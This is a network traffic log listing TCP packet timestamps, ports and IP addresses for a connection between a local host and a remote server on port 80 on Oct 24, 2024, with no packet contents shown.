Oct 24, 2024 08:38:22.789102077 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789128065 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.789154053 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.789319038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789329052 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789339066 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789371014 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.789391041 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789393902 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.789402008 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789414883 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789441109 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.789463997 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.789738894 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789751053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789762974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789772987 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789786100 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.789796114 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.789825916 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.830404043 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.830425024 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.830436945 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.830447912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.830529928 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.830569029 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.837085962 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.837126970 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.837136984 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.837157011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.837214947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.837253094 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.871860027 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.871880054 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.871892929 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.871902943 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.871915102 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.872035027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.874531031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874542952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874553919 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874602079 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.874799013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874813080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874835968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874850988 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874869108 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874892950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874908924 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874923944 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874936104 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874948978 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.874960899 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.874960899 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.874960899 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.874960899 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.874960899 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875010967 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875298023 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875403881 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875416994 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875453949 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875463963 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875464916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875477076 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875488997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875502110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875505924 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875538111 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875538111 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875907898 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875921965 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875933886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875945091 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875957012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.875968933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875968933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.875994921 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.904870987 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.904911995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.904980898 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.904993057 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.904999018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905014038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905030966 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905033112 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905050039 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905059099 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905067921 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905083895 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905086994 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905114889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905133009 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905235052 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905280113 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905314922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905343056 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905359983 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905359983 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905385971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905400038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905510902 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905529022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905554056 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905567884 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905576944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905586958 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905596018 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905626059 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905889034 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905915022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905931950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905950069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905960083 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905971050 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.905975103 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.905999899 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.906018972 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.906450033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906466961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906482935 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906511068 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.906538010 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.906582117 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906598091 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906615019 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906631947 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906637907 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.906667948 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.906851053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906897068 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.906915903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906939983 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906953096 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906965017 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.906991959 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.907004118 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.947268963 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.947308064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.947328091 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.947349072 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.947365999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.947377920 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.947403908 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.947423935 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.954134941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.954159021 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.954170942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.954247952 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.988930941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.988955021 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.988965034 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.989010096 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.989021063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.989032030 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.989088058 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.989101887 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.991724968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991736889 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991749048 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991796017 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.991813898 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991822004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.991825104 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991874933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.991874933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991960049 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991977930 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.991996050 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992007017 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992010117 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992022991 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992060900 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992077112 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992089987 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992136002 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992233038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992244005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992254972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992268085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992285967 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992297888 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992470980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992481947 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992491961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992506027 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992640972 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992686987 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992700100 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992711067 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992722988 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992733955 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992738962 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.992770910 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.992799044 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.993062019 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.993073940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.993084908 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.993115902 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022062063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022078991 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022094011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022104979 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022140026 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022164106 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022205114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022205114 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022216082 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022227049 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022258043 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022320986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022337914 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022352934 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022365093 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022370100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022382975 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022414923 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022572041 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022617102 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022670984 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022682905 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022701025 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022711992 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022717953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022722960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022733927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022746086 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022752047 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022758961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022769928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022773027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022782087 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.022792101 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.022821903 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023349047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023360968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023379087 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023417950 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023430109 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023520947 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023530960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023564100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023703098 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023713112 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023725033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023740053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023750067 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023751974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023778915 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023807049 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023840904 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023885012 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023886919 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023901939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.023926020 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.023936033 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.024099112 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.024111032 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.024123907 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.024144888 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.024161100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.024271011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.024283886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.024317026 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.024342060 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.064482927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.064502001 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.064512968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.064553022 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.064574003 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.064577103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.064588070 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.064620972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.064635992 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.064654112 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.071141005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.071203947 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.071213961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.071224928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.071250916 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.071278095 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.106259108 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.106271029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.106281996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.106348038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.106368065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.106379986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.106384039 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.106391907 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.106417894 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.106451035 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.108824015 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.108867884 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.108896971 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.108906984 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.108951092 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.108953953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.108962059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.108969927 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.108972073 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.108998060 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109033108 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109056950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109153986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109163046 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109174013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109198093 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109211922 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109270096 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109280109 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109289885 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109299898 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109313011 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109330893 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109358072 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109499931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109510899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109520912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109532118 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109544039 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109580040 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109735966 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109761000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109774113 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109785080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109797955 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.109802008 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109837055 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.109847069 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.110042095 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.110054970 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.110066891 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.110078096 CEST	80	61010	185.215.113.16	192.168.2.5
